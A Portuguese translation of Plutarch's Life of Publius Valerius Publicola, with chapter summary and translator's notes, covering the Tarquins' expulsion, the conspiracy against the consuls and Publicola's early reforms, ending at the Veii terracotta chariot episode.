PÚBLIO VALÉRIO PUBLÍCOLA | Plutarco – Vidas dos Homens Ilustres

SUMARIO DA VIDA DE PUBLÍCOLA

I. Origem de Valério Publícola. Tarquínio o Soberbo é expulso do trono. II. Eleição dos dois primeiros cônsules, Bruto e Colatino. III Esforços de Tarquínio para reascender ao trono. VI. Conspiração contra os cônsules. VII- Ela é descoberta por Publícola. VIII. Bruto condena à morte seus dois filhos. IX Fraqueza de Colatino. Abdica o consulado. Publícola o substitui. Xi.II. Campo de Marte. Ilha sagrada em Roma. XV. Batalha sangrenta. O filho primogênito de Tarquínio e Bruto perdem aí a vrda. Triunfa Publícola. XVII- Pronuncia o elogio de Bruto. Origem das arengas fúnebres. XVIII. Conduta generosa de Publícola. XIX. Seu respeito pela majestade soberana do povo. XX. Uso que faz do poder para o bem do Estado. Preenche os lugares vacantes do Senado. Leis populares. XXI. Ordenança contra a tirania. XXII Pelas finanças. XXIII. Criação de dois questores- XXV. Trabalhos e doação do templo de Júpiter Ca-pitolino. XXVIII. Doação do segundo templo: seu incêndio sob o império de Vitélio. Terceiro templo, construído por Vespa-siano e queimado pouco tempo depois de sua morte. Quarto templo, construído por Domiciano. XXIX. Despesas feitas com sua douração. XXX. Magnificência do palácio de Domiciano. XXXI. Tarquínio dirige-se ao rei Porsena, que vem sitiar Roma. XXXII. Segundo consulado de Publícola. E’ ferido em combate. Bela defesa de Horácio Codes. XXXIII. Terceiro consulado de Publícola. Coragem de Múcio Cévola. XXXIV. Publícola negoceia a paz com Porsena. XXXV. Ousadia de Clélia. XXXVII. Vitória alcançada sôbre Sabinos por Valério, irmão de Publícola. XXXVIII. Quarto consulado de Publícola. Alarmas em Roma. Consultam-se Os livros da Sibila. Ápio Clauso deixa o país dos Sabinos: e vem estabelecer-se em Roma. Origem da família Claudia. Derrota dos Sabinos. XL. Triunfa Publícola. Sua morte. Funerais a expensas do público. Luto geral.

Desde o ano 245 até ao ano 251 depois da fundação de Roma, 503 anos antes de Jesus Cristo.

Comparação de Sólon e de Publícola.

Plutarco – Vidas dos Homens Ilustres

PÚBLIO VALÉRIO PUBLÍCOLA

Baseado na versão francesa de Amyot. Tradução de Aristides Lobo. Fonte: Edameris.

Antes pois que Sólon fôsse tal, pareceu-nos assentar bem reuni-lo com Publícola, aquêle ao qual o povo Romano deu por honra esse sobrenome, porque antes êle se chamava Públio Valério, sendo descendente de um antigo Valério que foi um dos principais instrumentos de mediação para que os Romanos e os Sabinos, que eram inimigos mortais, se conjugassem em um mesmo, povo; pois foi êle quem mais incitou os dois reis a acordarem-se e juntarem-se em comum. Sendo pois Publícola descendente daquele, enquanto os reis dominavam ainda em Roma estava êle ainda em grande estima, tanto por sua eloqüência como por sua riqueza, usando de uma direita e livremente, para a defesa da justiça, e da outra liberal e humanamente, para com ela prover os pobres; de sorte que era de todo aparente que, se o reino viesse a mudar-se em estado de coisa pública, seriá êle um dos primeiros homens daquela. Assim adveio que o rei Tarqüínio sobrenomeado o Soberbo, não tendo chegado ao reino por boa via, antes de maneira infeliz e má, e tendo-se ali portado não como rei, antes como violento e ultrajoso tirano, foi tão odiado e tão malquerido pelo povo, por causa da morte de Lucrécia, a qual se matou por ter sido violada à força, que tôda a cidade se subie-vou e rebelou contra êle; e Lúcio Bruto, tomando em mãos a conduta de tal sublevação e rebelião, dirigiu-se primeiramente a esse Valério, que muito-afetuosamente o secundou na empresa e o ajudou a expulsar o rei Tarqüinio com todos os de sua acsa.

II. Ora, quando se pensou que o povo deveria eleger um só capitão em chefe, ao invés de um rei, Valério ficou quieto, cedendo voluntariamente o primeiro lugar a Bruto, como melhor pertencendo àquele que fôra principal autor e condutor da restauração da liberdade; mas, quando se viu que o nome de Monarquia, isto é, de poder soberano em um só, era desagradável ao povo e que este a suportaria mais pacientemente quando ela fôsse dividida em dois, e por isso queria eleger dois cônsules, começou pois Valério a esperar que seria um dêles com Bruto; todavia, decaiu dessa esperança, pois contra a vontade do próprio Bruto, foi com êle eleito cônsul ( 1 ) Tarqüinio Colatino, o marido de Lucrécia, não que fôsse homem de maior virtude nem melhor reputação que Valério, mas os principais da cidade, temendo as manobras que faziam os da casa real, que tentavam todos os meios de retornar e iam adulando e amolecendo o povo, quiseram ter por um dos seus chefes aquele que tivesse ocasião de ser mais áspero e mais veemente inimigo, tendo bem opinião de que aquêle não se dobraria em nada.

(1) No ano de Roma 245.

III.Valério tomou muito a peito que não confiariam em que êle fizesse todas as coisas em proveito do país, porque não tinha particularmente recebido nenhuma injúria dos tiranos; em razão do que cessou de ir ao Senado, de pleitear pelos particulares e inteiramente de mais se intrometer nos negócios públicos, de maneira que deu que falar a muita gente, preocupando a muitos que receavam, em virtude dêsse descontentamento, que se colocasse ao lado dos reis e fôsse causa de ficar a cidade sem direção, visto como por isso mesmo ela se achava em grande abalo. Mas, quando Bruto, que suspeitava de alguns outros, quis que prestassem juramento sôbre os sacrifícios todos os do Senado e lhes marcou dia para assim fazerem solenemente, Valério desceu de bom grado à praça e, com fisionomia franca, foi o primeiro que jurou não poupar nem omitir nada que pudesse resultar em prejuízo para os Tar qüínios, mas que com todo o seu poder combateria pela tuição e defesa da liberdade. Isso regozijou grandemente tôda a assistência do Senado e deu grande segurança aos cônsules, do mesmo modo que logo após êle mostrou que os efeitos respondiam às palavras do juramento, pois vieram embaixadores a Roma trazendo cartas do rei Tarqüínio, cheias de doces e humildes palavras para ganhar a graça do povo, com o encargo de manterem as mais generosas e humildes conversações que pudessem ocorrer-lhes, para abrandar os corações da multidão, do mesmo modo que vinham da parte do rei, o qual diziam ter deixado tôda ferocidade e não pedir senão coisas razoáveis. Os cônsules foram de aviso que lhes dessem audiência pública e os obrigassem a falar ao povo, mas Valério o contradisse e se opôs, advertindo que seria demasiado perigoso dar ocasião e meio de suscitar alguma novidade a uma turba de povo pobre, mais receoso da guerra que da tirania.

IV. Vieram depois outros embaixadores para dizerem que Tarqüínio dali por diante desistia de entrar novamente em seu reino e de fazer a guerra, mas que ao menos requeria lhe entregassem seu dinheiro e bens, a êle e aos amigos, a fim de que tivessem com que entreter-se no exílio. Vários se dobravam e deixavam-se levar por esse pedido, do mesmo modo que Colatino, um dos cônsules, que os favorecia na pretensão; mas Bruto, homem inflexível e violento em sua cólera, acorreu incontinenti à praça, gritando que seu companheiro era traidor, pois queria se concedesse aos tiranos matéria para fazerem a guerra, de forma que não mereciam se lhes desse sequer com que viverem no exílio. O povo lá se reuniu e o primeiro que falou na assembléia foi um privado chamado Caio Minúcio, o qual, dirigindo a palavra a Bruto e a todos os assistentes, disse-lhes: «Senhores, fazei de sorte que os bens dos tiranos estejam antes convosco para fazer-lhes a guerra do que com êles para vo-la fazer a vós mesmos.» Não obstante, foram os Romanos de opinião que, tendo a liberdade pela qual combatiam contra os tiranos, não deviam retendo os seus bens, recusar a oferta de paz, sendo melhor atirar-lhes os bens após eles.

V. Ora, a menor coisa em que pensava Tarquinio era reaver seus bens, mas, sob a cobertura de reclamá-los, fazia sub-repticiamente tentar o povo e urdia uma traição que os seus embaixadores conduziam fazendo menção de recolherem os bens do rei e de sua gente, dizendo que tinham já vendido uma parte dēles e que os guardavam e enviavam todos os dias, se bem que sob essas côres corrompessem duas das melhores e mais antigas casas da cidade, a dos Aquilianos, onde havia três senadores, e a dos Vitelianos, onde havia dois, que todos eram sobrinhos, pelo lado materno, do cônsul Colatino; e tinham os Vitelianos ainda outra aliança com Bruto, pois sua mulher era sua própria irmã, da qual tivera êle vários filhos, dos quais os Vitelianos tinham já tirado para si os dois maiores, porque se gabavam familiarmente de serem primos-germanos, e os tinham induzido a participarem de sua traição, aliando-se à casa dos Tarqüínios, que era grande e poderosa, mediante o suporte da qual podiam prometer todo crescimento de honra e de bens por meio dos reis, em lugar de se prenderem à brutalidade e dureza do pai; pois chamavam dureza à sua severidade contra os maus, aos quais jamais perdoava. E, de resto, tinha êle de longa data dissimulado ser insensato e idiota quanto à segurança de sua pessoa, a fim de que os tiranos não o fizessem morrer, de tal maneira que o nome de Bruto ainda lhe ficara.

VI. Depois que esses dois jovens consentissem e falassem com os Aquilianos, foram todos de opinião que se obrigassem uns aos outros com tão grande e horrível juramento, bebendo sangue todos juntos e tocando com as mãos nas entranhas de um homem que imolariam. Isso acordado entre eles, reuniram-se para executá-lo na casa dos Aquilianos. Ora, para isso fazerem, tinham êles escolhido uma escura dependência da casa, quase não freqüentada por ninguém; e aconteceu que um servidor da casa, chamado Víndice, se escondeu sem que os conjurados soubessem de nada, não que tivesse expressamente espiado a ocasião e o meio de ver o que fariam ou que antes houvesse tido disso algum sentimento; mas, tendo-se ali achado por acaso, quando os conjurados entraram em atitude de quererem fazer alguma coisa secreta e de conseqüência, teve mê-do de ser percebido e se manteve quieto, ocultando-se atrás de um cofre ali existente, de maneira que viu inteiramente tudo o que se fêz e ouviu tudo o que se deliberou e se disse. Assim foi a resolução de seu conselho que êles matariam os dois cônsules, e escreveram cartas a Tarqüínio nas quais isso estava contido, que entregaram a seus embaixadores alo-jados em casa dos Aquilianos e presentes a essa conclusão.

VII. Assentado isso, dali saíram, e Víndice também saiu o mais secretamente que pôde, achando-se em grande angústia por não saber como devia governar-se nesse negócio, pois estimava ser coisa bem dura, como na verdade o era, ir acusar os próprios filhos perante o pai, que era Bruto, de tão perversa e infeliz emprêsa, e os sobrinhos perante o tio, que era Colatino; de outro lado, também não lhe parecia ser um segredo que êle devesse revelar a nenhum particular privado, e menos ainda era possível que se calasse, sentindo-se incitado e impelido pela consciência; assim, concluiu por fim que se dirigia a Valério, sendo convidado a isso fazer pela facilidade e humanidade do personagem que dava facilmente acesso e audiência a todos aquêles que desejassem falar-lhe e que não desdenhava jamais de ouvir as conversas e os casos dos pobres. Tendo pois Víndice ido perante êle e tendo-lhe declarado tudo em presença de um seu irmão, Marco Valério, e de sua mulher, êle ficou seriamente espantado e impressionado. Assim, reteve-o de mêdo que êle fugisse e encerrou-o dentro de um quarto, dando a sua própria mulher o encargo de guardar a porta, para que ninguém entrasse nem saísse, e ordenando a seu irmão que fôsse cercar o palácio do rei, para se possível surpreender as cartas e velar por que nenhum dos servidores se evadisse; e êle, acompa-nhado como de costume por grande comitiva, tanto de amigos como de seguidores e grande número de pessoas que lhe faziam a côrte, seguiu diretamente para a residência dos Aquilianos, que por acaso não estavam então em casa, e entrando pela porta, sem que ninguém lho impedisse, encontrou as cartas no quarto onde se alojavam os embaixadores do rei Tarqüínio. Diante dessas ocorrências, os Aquilianos, que lhes ouviram o rumor, acorreram incontinenti à casa e ali encontraram Valério que saía. Esforça-ram-se então por tirar-lhe as cartas que êle possuía; mas, Valério e sua companhia o impediram e, o que é mais, enrolaram-lhe as roupas à volta do pescoço e os arrastaram até à praça, à fôrça, por alguma resistência que pudesem oferecer. Outro tanto se fêz no próprio palácio do rei, onde Marco Valério encontrou ainda outras cartas que tinham sido envolvidas dentro de fardos, para mais seguramente serem transportadas, e também pela fôrça arrastou à praça todos os servidores que encontrara do rei. E ali, tendo os cônsules ordenado silêncio, Valério mandou buscar em sua residência o servo Víndice, e então os conjurados foram publicamente acusados e suas cartas lidas, sem que tivessem a ousadia de nada responder.

VIII. Tôda a assistência, cheia de assombro, a cabeça baixa, mantinha os olhos no chão, e não havia ninguém que ousasse abrir a bôca para falar, excetuados os que, desejando agradar a Bruto, co-meçaram a dizer que era preciso bani-los; e assim lhes dava Colatino alguma esperança, porque se pôs a chorar, e Valério também, porque não dizia palavra; mas Bruto, chamando os filhos pelos nomes, disse: «Agora, sus, Tito, e tu, Valério, porque não respondeis a isso de que vos acusam?» E, tendo-os por três vezes intimado a que respondessem, quando viu que não respondiam nada, voltou-se para os executores de justiça e disse-lhes: «Cabe-vos agora executar o resto: cumpri vosso dever.» Assim, logo que pronunciou essas palavras, os executores de justiça apoderaram-se incontinenti dos corpos dos dois jovens e, rasgando-lhes as vestes, ligaram-lhes as mãos para trás e depois os vergastaram, o que causou tão grande horror a todos os assistentes que êles não tiveram coragem de- encará-los, mas se voltaram de lado para não verem nada. Mas, ao contrário, dizem que o próprio pai não desviou o olhar nem abrandou de piedade o rigor e a severidade que mostrou no semblante, antes assistiu de olhos fixos à punição dos próprios filhos até que êles ficassem estendidos por terra e a ambos lhes fossem arrancadas as cabeças com um machado: feito isso, Bruto retirou-se, deixando que os outros fossem castigados por seu companheiro.

IX. Foi êsse um ato que não se poderia louvar suficientemente nem censurar bastante: pois era uma excelência de virtude que tornava o seu coração assim impassível, ou uma violência de paixão que o tornava insensível: nem uma nem outra é coisa pequena, mas ultrapassa o ordinário da natureza humana, tendo tanto da divindade quanto da bestialidade. Mas é mais razoável que o julgamento dos homens corresponda à sua glória do que a fraqueza dos julgadores faça descrer de sua virtude, pois os Romanos estimam que não foi tão grande proeza de Rômulo ter sido o primeiro a fundar Roma quanto a de Bruto haver recobrado a liberdade e estabelecido o governo da coisa pública; mas então, quando se retirou, tôda a gente ficou na praça, como que transida de horror e de assombro, por longo tempo sem dizer palavra, por ter visto o que tinha sido feito.

X. E os Aquilianos, tendo-se certificado de que viam o outro cônsul Colatino proceder lenta e friamente contra êles, requereram se lhes desse tempo e lazer para responderem às acusações que se lhes imputavam e se lhes entregasse Víndice como escravo, porque não era razoável ficasse entre as mãos dos acusadores. O que o cônsul lhes queria conceder e estava já prestes a deixar a assembléia; mas Valério disse que não entregaria Víndice, o qual estava entre a turba de gente ao pé de sua pessoa; e assim impediu que o povo se retirasse, deixando escapar aqueles que haviam empreendido trair tão cobardemente o país, até que êle próprio os prendeu, chamando Bruto em seu auxílio e protestando que Colatino não se portava como homem de bem, por isso que, vendo como seu companheiro Bruto fôra constrangido a fazer punir com a morte os seus próprios filhos, êle ao contrário, para agradar às mulheres, tratava de fazer evadir traidores manifestos e inimigos públicos do país.

XI. Furioso com isso, o cônsul mandou que trouxessem o servidor Víndice, e os lictores, fazendo afastar a massa, puseram a mão sôbre êle para trazê-lo e começaram a bater nos que tentavam impedi-lo; mas os amigos de Valério puseram-se à frente e os repeliram. O próprio povo pôs-se a gritar e a chamar Bruto; o qual, com esse clamor, voltou de novo à praça e, feito silêncio, disse que, «quanto aos seus próprios filhos, tinha sido êle o único juiz suficiente para puni-los segundo o mal que haviam praticado, mas, quanto aos outros, deixara ao povo o julgamento, que era franco e livre. Eis porque, disse êle, levante-se quem quiser e persuada o povo do que bem lhe parecer». Assim, já não houve necessidade de outras palavras, antes somente de recolher os votos do povo, por todos os quais êles foram condenados e, segundo a condenação, tiveram as cabeças cortadas.

XII. Ora, estava já antes o cônsul Colatino em alguma suspeita, porque era parente dos reis, e assim odiavam-lhe o sobrenome, porque se chamava Tarqüínio, e, vendo mais que, por seu procedimento nesse caso, era odiado e malquerido de tôda a gente, êle próprio se depôs voluntariamente do con-sulado e retirou-se para fora d’à cidade de Roma. E então, tendo-se o povo reunido para dar-lhe substituto e sucessor, foi Valério eleito sem nenhuma oposição, em recompensa da boa afeição e cuidadosa diligência de que usara nesse negócio. Mas, estimando que o servidor Víndice bem merecera também alguma recompensa, êle fêz que lhe desse não só liberdade por outorga do povo, mas também direito de burguesia, e foi o primeiro servo liberto que se fêz cidadão Romano, com permissão de votar nas eleições dos "oficiais, em alguma linhagem na qual desejasse fazer-se arrolar. Longo tempo depois e bem tarde, Ápio, para ganhar a graça do poviléu, outorgou a todos os outros servos libertos a lei pela qual davam também seus sufrágios nas eleições; e até hoje uma perfeita libertação de servo se chama Vin-dicta, do nome de Víndice, que foi então libertado.

XIII. Isso feito, os bens dos reis foram abandonados à pilhagem do povo e seu palácio arrasado. Ora, entre outras herdades, a mais bela parte do campo de Marte era do rei Tarqüínio: ela foi então dedicada e consagrada ao deus Marte, e, como ainda não tivesse sido ceifado o trigo e ainda houvesse montes no campo, estimaram que de nenhum modo se devia moer nem aproveitar o trigo dali saído, antes lançaram os montes e feixes de trigo dentro do rio, e semelhantemente as árvores que arrancaram e cortaram, a fim de que o campo ficasse inteiramente nu, sem dar fruto nenhum, sagrado ao deus Marte. Êsses montes, assim lançados de golpe dentro do rio, foram levados a vau pelo fio d’âgua, não muito longe dali, até a um lugar onde os primeiros encontraram a água baixa e ali se detiveram e impediram que os outros que sobrevieram pudessem passar além, e se ligaram e engranzaram tão bem uns aos outros que tôda a massa começou a tomar pé firme e a fundar-se dentro da água; depois, ainda o curso do rio para ali levou grande quantidade de areia e de limo, que aumentou sempre cada vez mais e afirmou essa massa, de sorte que a fôrça da água não mais pôde abalá-la, mas antes, cerrando-a e apertando-a docemente, ligou-a mais. Assim, crescendo sempre a grandeza e a firmeza desse monte, porque tudo o que o rio levava a vau se lhe prendia, afinal a coisa chegou com o tempo a tal aumento que é hoje em Roma a Ilha Sagrada (2), onde há vários belos templos de diversos deuses e vários pórticos em tôrno, e o chamam, em linguagem latina, de Entre Duas Pontes

(3).

XIV.Todavia, há os que querem dizer que isso não aconteceu quando esse campo dos Tarqüínios foi consagrado a Marte, antes foi desde quando uma virgem do número das vestais, que se chamava Tarqüínia, deu ao povo um campo junto ao de Tarqüínio, pela qual liberalidade teve em recompensa grandes prerrogativas e grandes honras, como entre outras o ter sido ordenado que seu testemunho fôsse válido em julgamento, o qual privilégio nenhuma outra mulher possuía, e lhe foi também permitido, por graça especial do povo, que pudesse casar-se assim que bem lhe parecesse: o que ela não quis aceitar. Eis como se conta que isso aconteceu.

(2) Chama-se agora Isola di S. Bartolomeo, ilha de São Bartolomeu, que ficou célebre por causa do templo de Esculápio.
(3) Por causa de suas duas pontes: uma, chamada a ponte Fabrícia, agora Ponte Quattro Capi; a outra, construída Dor Céstio, agora Ponte S. Bartolomeo.

XV. Mas, tendo Tarqüínio perdido tôda esperança de poder reentrar em seu reino de surpresa, retirou-se entre os Toscanos, que o receberam de muito bom grado e reuniram grande poder para cuidar de restabelecê-lo. Os cônsules Romanos saíram também com seu exército ao encontro e se enfileira-ram as duas hostes em ordem de batalha uma diante da outra dentro dos lugares sagrados aos deuses, dos quais um se chama a floresta Ársia e outro o prado Esúvio; e, quando os dois exércitos começaram a entrechocar-se, Arrunte, filho primogênito de Tarqüínio, e o cônsul Bruto tornaram a encontrar-se, não por caso, antes porque se procuravam de novo para executar o grande ódio que tinham um ao outro, um como a um tirano inimigo da liberdade do país, o outro como àquele que fôra principal autor de sua expulsão para o exílio. Lançaram assim os seus cavalos um contra o outro, logo que se entrepercebe-ram, com mais furor do que razão, e ambos se feriram tão rudemente que rijos tombaram mortos na praça, E, tendo sido a entrada dessa batalha tão cruel, a saída não foi menos sangrenta, até que os dois exércitos, após muitos prejuízos causarem um ao outro, foram separados por uma tempestade que se levantou; e se achou Valério em grande embaraço por não saber a quem coubera a vitória nessa jornada, vendo os combatentes tão desconfortados pelo grande número de pessoas que viam mortas diante de si, quanto satisfeitos pelos inimigos que haviam eliminado; pois a multidão dos mortos que se viam era tão igual, que seria bem difícil estimar de quais havia mais, senão que uns e outros, vendo a ôlho e de perto a diminuição de seu campo, se confirmavam antes na opinião de haverem perdido e não ganho, conjecturando de longe a derrota dos inimigos.

XVI. Sobrevindo a noite, tal como se pode estimar após tal batalha, quando o barulho se acalmou nos dois campos, dizem que a floresta onde estavam acampados tremeu e ouviu-se uma voz alta dizer que do lado dos Toscanos morrera somente nessa batalha um a mais que do lado dos Romanos. Foi certamente alguma voz divina, pois incontinenti os Romanos puseram-se a gritar alto e claro como gente a quem a coragem aumentou, e os Toscanos ao co4trário se amedrontaram de tal forma que a maior parte escapou do campo e extraviou-se, não ficando ali senão cerca de cinco mil que os Romanos fizeram prisioneiros e dos quais pilharam tudo o que haviam deixado no campo. Os mortos foram depois contados, e achou-se que havia no campo onze mil e trezentos do lado dos Toscanos, e dos Romanos outro tanto menos um somente. Travou-se essa batalha no último dia de fevereiro, como dizem, e nela triunfou o cônsul Valério (4), sendo o primeiro dos cônsules que jamais entrou em’Roma num carro triunfal puxado por quatro cavalos: o que o povo achou belo e magnífico, sem ofender-se por isso como pretendem alguns, nem censurar aquele que o começou, pois de outro modo o costume não teria sido tão afetuosamente seguido nem durado tantos e tantos anos como aconteceu depois.

XVII. Também muito se. prezaram as honras que prestou ao seu companheiro Bruto no cortejo de seus funerais e obséquias, onde fêz uma arenga fúnebre em seu louvor: o que aprouve tanto aos Romanos, e a maneira lhe foi tão agradável, que depois se conservou o costume de serem publicamente louvadas as grandes personagens mortas, pelos sobreviventes na ocasião do seu enterramento. Dizem que essa arenga fúnebre é mais antiga do que a primeira jamais pronunciada em matéria semelhante dentro da Grécia; asim, não é que se queira manter o que o orador Anaxímenes escreveu — que a maneira de louvor assim os trespassados em suas obséquias tenha sido primeiramente instituída por Sólon.

XVIII. Mas, quiseram mal a Valério, e o receberam de má-vontade, porque Bruto que o povo reconhecia como pai da liberdade, jamais quisera ficar só no cargo, antes procurara êle próprio por duas vêzes que lhe dessem por substituto um companheiro, ao passo que êle, ao contrário (dizia o rumor comum), atribuindo-se a autoridade soberana, mostra não desejar ser o sucessor de Bruto no consulado, não sendo êsse o fim que pretende, mas o de Tarqüínio no reinado. Que serve pois louvar Bruto em palavras e de fato imitar Tarqüínio, tendo diante de si todos os maceiros, todos os machados e todos os feixes <ļe vergas, quando sai em público fora de sua casa, a qual é muito maior e mais soberba que a do rei, por êle próprio demolida? Também, a dizer verdade, Valério habitava uma casa um pouco soberba-mente demais, construída na encosta do monte que se chama Vélia, e descobria, por estar em situação alta, tôda a praça, de tal maneira que se podia com facilidade ver inteiramente tudo o que ali se fazia, e era difícil aproximar-se dela pelo exterior; de maneira que, quando êle saía de casa, era uma pompa muito soberba vê-lo assim descer de lugar tão alto, com um séquito que lembrava a magnificência da corte de um rei. Mas nesse lugar mostrou bem Valério quanto serve a um personagem colocado em eminente dignidade e de posse do manejo de grandes negócios ter os ouvidos abertos para ouvir e receber de bom grado um franco falar em vez de adulações, e a verdade em vez de mentiras; pois que, tendo ouvido de alguns amigos seus como o povo se queixava e se descontentava coin isso, não se obstinou nem se irritou com êles, antes logo reuniu muitos operários, tão de manhã que não era ainda dia, aos quais mandou lhe demolissem a casa e a arrasassem até à terra; de tal maneira que no dia seguinte, quando os Romanos reunidos na praça viram essa grande e súbita ruína, prezaram muito a grandeza de coragem que Valério tinha mostrado nisso; mas também se desgostaram e tiveram pena de ver uma casa tão bela e tão grande, que era ornamento da cidade, demolida em um instante," nem mais nem menos do que um homem que se tivesse mandado matar por inveja, e também de ver seu soberano magistrado como um vagabundo, constrangido a alojar-se em casa de outrem: pois seus amigos o hospedaram até que o povo lhe desse um lugar no qual êle mandou construir uma residência mais modesta e menos soberba do que a primeira, no lugar onde é hoje (5) o templo que se chama Vico Público.

(4) No ano de Roma 246.

XIX. E, querendo tornar não somente sua pessoa, mas também o ofício de consulado agradável e prazível ao povo, no lugar que antes lhe causava pavor separou os machados dos feixes de vergas que os maceiros levavam diante do cônsul; e ainda, quando entrava na praça onde o povo se reunia em conselho, fazia baixar as vergas, em sinal de reconhecimento e reverência à majestade soberana do povo: o que todos os magistrados observam ainda hoje. Assim fazendo, não baixou tanto a sua dignidade, o que o vulgar à primeira vista cuidaria, quanto se livrou da inveja, adquirindo tão verdadeira autoridade como se deixasse e cedesse por licença; pois isso fêz que o povo tomasse prazer em submeter-se a êle e lhe obedecesse mais espontâneamente, de sorte que por essa ocasião o sobrenomeou Publícola, que vale tanto como dizer honrando e amando o povo: o qual sobrenome êle manteve sempre depois, e nós também, doravante, escrevendo o resto de sua vida, não usaremos outro (6): pois êle permitiu, a quem o quisesse, apresentar-se para pedir o consulado em lugar de Bruto.

(5) E’ preciso 1er: o templo de Vica Pota, isto é, da Vitória. Vide Tito Lívio, liv. II cap. VII e às notas de d-iversoS estudiosos, e sobretudo as de Drakemborch. C.

XX. Mas, não sabendo qual seria aquele que ali o subrogaria e receando que, por inveja ou por ignorância, aquêle que o substituísse se opusesse ao que êle pretendia fazer, empregou seu soberano poder e autoridade, enquanto estêve só, em muitos belos e grandes feitos: primeiramente, completou o Senado, que estava muito desfalcado e diminuído de homens, porque o rei Tarqüínio mandara matar alguns, tempos antes, e os outros tinham morrido havia pouco na batalha, em lugar dos quais colocou novos, até ao númerov de cento e sessenta e quatro; e depois fêz estatutos e ordenanças novas, que fortificaram grandemente a autoridade do povo. A primeira permitia que todos os criminosos condenados por sentença dos cônsules apelassem para o povo; a segunda condenava a perder a vida aquele que ousasse empreender exercer um ofício que o povo não lhe tivesse dado; a terceira, grandemente a favor dos pobres, estabelecia que os burgueses pobres da cidade não mais pagariam gabelas nem quaisquer impostos, o que foi causa de cada qual passar a exercer de bom grado algum ofício e alguma manufatura. E, quanto àquela contra os que desobedecessem aos mandamentos dos cônsules, foi ainda achada tão popular que se estimou que fizesse mais pelos pobres do que pelos ricos e poderosos: condenava os desobedientes à multa do valor de cinco bois e dois carneiros; e era então o preço de um carneiro, dez óbolos (7), e de um boi, cem (8). Naquele tempo, os Romanos não usavam muita moeda forjada, e ao contrário tinham grande número de carneiros e tôda espécie de gado: de onde vem que ainda até hoje chamam Peculim às suas faculdades, porque Pecus significa ovelhas e carneiros; e antigamente a marca de sua moeda era um boi, um carneiro ou um porco; e assim chamavam seus filhos, uns Bubulci, que significa boiadeiros; outros, Caprarii, isto é, cabreiros; e outros, Porcii, que significa porqueiros.

(6) Isso não tem nenhuma relação com o que precede; é preciso, pois, recomeçar o. período e 1er: Permitiu, a quem o quisesse, etc.; mas, não sabendo, etc. C.
(7) Dez óbolos perfazem perto de vinte e seis soldos de libra francesa.
(8) Cem óbolos perfazem perto de treze libras francesas. O gado estava a preços muito baixos em Roma e, entretanto, muito mais caro do que em Atenas ao tempo de Sólon. Vide a vida de Sólon, cap. XLIV.

 

XXI. Mas, conquanto em todas as outras ordenanças fôsse muito popular e moderado, o fato é que em tal moderação estendeu às vezes além da medida o rigor da pena, pois fêz uma ordenança pela qual permitiu matar, sem que de nenhum modo fôsse julgado, aquele que aspirasse à tirania, querendo que o autor do crime fôsse absolvido pura e simplesmente e fazendo aparecer assim que o assassinado teria tentado fazer-se rei. Ora, sendo impossível que um homem pretenda tão grande coisa sem que ninguém o perceba, e ao contrário sendo bem possível, ainda que se perceba, que às vezes se antecipe, fazendo-se tão poderoso que não mais haja ordem para chamá-lo .a juízo, nesse caso êle permitia prevenir por via de fato a via da justiça contra aquêle que tendesse à abolição desta.

XXII. Louvou-se também a ordenança tocante às finanças: pois sendo necessário que os particulares contribuíssem com dinheiro (9), segundo suas faculdades, para sustentar as despesas de guerra, não quis êle próprio tomar êsse encargo, nem tolerar que ninguém dos seus se intrometesse nisso, nem que os dinheiros públicos entrassem de nenhum modo em casa de nenhum particular, antes quis que o templo de Saturno fôsse o tesouro público, no qual se depositaria todo o dinheiro que se levantasse sôbre o povo: o que se observa ainda até hoje.

(9) O grego não fala nem de prata nem de dinheiro sob a forma de moeda de prata. Amyot e Dacier deveriam ser mais circunspectos. Os Romanos só cunharam moeda de prata no ano de Roma 485.

XXIII. Entrementes, permitiu ao povo eleger dois jovens tesoureiros que tivessem tal encargo, e foram os dois primeiros eleitos Públio Vetúrio e Marco Minúcio, os quais acumularam muito dinheiro: pois por censo do povo foram encontrados cento e trinta mil principais (10) contribuintes, não compreendidas aí, as crianças órfãs nem as mulheres viúvas que estivessem.isentas da talha.

XXIV. Depois que ordenou tôdas essas coisas, fêz eleger seu companheiro no consulado o pai de Lucrécia, que se chamava também Lucrécio e ao qual; por ser" mais velho do que êle, cedeu a prerrogativa do lugar mais honroso e quis se levassem perante êles. os feixes de vergas, que eram as insígnias do soberano magistrado; e depois essa honra foi sempre reservada à velhice. Mas, tendo Lucrécio falecido poucos dias após. a sua eleição, elegeu-se em seu lugar Marco Horácio, o qual foi cônsul com Publí-cola todo o resto do ano.

(10) Na edição de Tácito, eu fiz uma dissertação sôbre todos cs censos e arrolamentos dos Romanos sob os reis, sob a república e sob os imperadores. Vide Taciti Opera, tomo II, pág. 353′ e seg., edição in-4.0.

XXV. Ora, achava-se naquele tempo o rei Tarqüinio retirado no país da Toscana, onde preparava segunda guerra aos Romanos, e adveio uma coisa maravilhosa. No tempo em que era rei, tinha êle quase acabado o templo de Júpiter Capitolino e propusera, ou porque algum oráculo a isso o tivesse injungido, ou porque de outro modo isso lhe tivesse vindo à fantasia, fôsse colocada no ponto mais alto do templo uma carrêta feita de terracota, e encarregou alguns operários Toscanos da cidade de Veios de a fazerem mas, nesse meio tempo, foi expulso do reino. Quando os operários acabaram de formar essa carrêta e a colocaram dentro do fôrno para cozê-la, aconteceu exatamente o contrário do que costuma ocorrer em tal caso: a terra não se tornou mais compacta no fogo, tendo tôda a unidade desaparecido, mas cresceu e engrossou, e tornou-se tão forte e tão dura que foi preciso quebrar a tampa e as paredes do fôrno para tirá-la. Os adivinhos interpretaram que era isso um sinal celeste que prometia grande prosperidade e grande crescimento de poder para aquêles a quem ficasse a carrêta; por essa razão, os Veientes resolveram não entregá-la aos Romanos que a pediam e responderam somente que ela pertencia ao rei Tarqüínio e não aos que o expulsaram.

